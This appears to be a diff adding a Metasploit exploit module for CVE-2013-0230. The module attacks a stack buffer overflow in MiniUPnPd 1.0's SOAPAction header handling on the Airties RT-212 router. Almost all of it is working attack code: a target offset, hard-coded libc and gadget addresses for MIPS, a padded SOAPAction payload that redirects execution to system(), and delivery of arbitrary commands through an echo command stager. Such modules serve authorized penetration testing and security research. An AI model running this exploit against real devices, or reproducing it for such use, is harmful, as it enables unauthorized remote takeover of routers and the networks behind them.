|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + include Msf::Exploit::CmdStager |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution', |
| 16 | + 'Description' => %q{ |
| 17 | + This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability |
| 18 | + present in the SOAPAction HTTP header handling. |
| 19 | + }, |
| 20 | + 'Author' => |
| 21 | + [ |
| 22 | + 'hdm', # Vulnerability discovery |
| 23 | + 'Dejan Lukan', # orig Metasploit module |
| 24 | + 'Onur ALANBEL', # exploit for Airties router |
| 25 | + 'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module for Airties router |
| 26 | + ], |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Platform' => 'linux', |
| 29 | + 'Arch' => ARCH_MIPSBE, |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + [ 'CVE', '2013-0230' ], |
| 33 | + [ 'OSVDB', '89624' ], |
| 34 | + [ 'BID', '57608' ], |
| 35 | + [ 'EDB', '36839' ], |
| 36 | + [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play'] |
| 37 | + ], |
| 38 | + 'Targets' => |
| 39 | + [ |
| 40 | + [ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0', |
| 41 | + { |
| 42 | + 'Offset' => 2048, |
| 43 | + 'LibcBase' => 0x2aabd000, |
| 44 | + 'System' => 0x00031AC0 , |
| 45 | + 'CallSystem' => 0x0001CC94 # prepare $a0 and jump to $s0 |
| 46 | + } |
| 47 | + ], |
| 48 | + ], |
| 49 | + 'DisclosureDate' => 'Mar 27 2013', |
| 50 | + 'DefaultTarget' => 0)) |
| 51 | + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') |
| 52 | + |
| 53 | + register_options([ |
| 54 | + Opt::RPORT(5555), |
| 55 | + ], self.class) |
| 56 | + end |
| 57 | + |
| 58 | + def check |
| 59 | + begin |
| 60 | + res = send_request_cgi({ |
| 61 | + 'method' => 'POST', |
| 62 | + 'uri' => "/", |
| 63 | + }) |
| 64 | + |
| 65 | + if res && res.headers['Server'] =~ /miniupnpd\/1.0/ |
| 66 | + return Exploit::CheckCode::Detected |
| 67 | + end |
| 68 | + rescue ::Rex::ConnectionError |
| 69 | + return Exploit::CheckCode::Unknown |
| 70 | + end |
| 71 | + |
| 72 | + Exploit::CheckCode::Unknown |
| 73 | + end |
| 74 | + |
| 75 | + def exploit |
| 76 | + print_status("#{peer} - Accessing the vulnerable URL...") |
| 77 | + |
| 78 | + unless check == Exploit::CheckCode::Detected |
| 79 | + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL") |
| 80 | + end |
| 81 | + |
| 82 | + # |
| 83 | + # Build and send the HTTP request |
| 84 | + # |
| 85 | + print_status("#{peer} - Sending exploit to victim #{target.name}") |
| 86 | + execute_cmdstager( |
| 87 | + :flavor => :echo |
| 88 | + ) |
| 89 | + end |
| 90 | + |
| 91 | + def execute_command(cmd, opts) |
| 92 | + # Build the SOAP Exploit |
| 93 | + # a valid action |
| 94 | + sploit = "n:schemas-upnp-org:service:WANIPConnection:1#" |
| 95 | + sploit << rand_text_alpha_upper(target['Offset']) |
| 96 | + sploit << [target['LibcBase'] + target['System']].pack("N") # s0 - address of system |
| 97 | + sploit << rand_text_alpha_upper(24) # $s1 - $s6 |
| 98 | + sploit << [target['LibcBase'] + target['CallSystem']].pack("N") |
| 99 | + |
| 100 | + # 0001CC94 addiu $a0, $sp, 0x18 |
| 101 | + # 0001CC98 move $t9, $s0 |
| 102 | + # 0001CC9C jalr $t9 |
| 103 | + # 0001CCA0 li $a1, 1 |
| 104 | + |
| 105 | + sploit << rand_text_alpha_upper(24) #filler |
| 106 | + sploit << cmd |
| 107 | + |
| 108 | + # data sent in the POST body |
| 109 | + data = |
| 110 | + "<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" + |
| 111 | + "<SOAP-ENV:Envelope\r\n" + |
| 112 | + " SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" + |
| 113 | + " xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" + |
| 114 | + " xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" + |
| 115 | + ">\r\n" + |
| 116 | + "<SOAP-ENV:Body>\r\n" + |
| 117 | + "<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" + |
| 118 | + "</ns1:action>\r\n" + |
| 119 | + "</SOAP-ENV:Body>\r\n" + |
| 120 | + "</SOAP-ENV:Envelope>\r\n" |
| 121 | + |
| 122 | + send_request_cgi({ |
| 123 | + 'method' => 'POST', |
| 124 | + 'uri' => "/", |
| 125 | + 'headers' => { |
| 126 | + 'SOAPAction' => sploit, |
| 127 | + }, |
| 128 | + 'data' => data, |
| 129 | + }) |
| 130 | + end |
| 131 | +end |
0 commit comments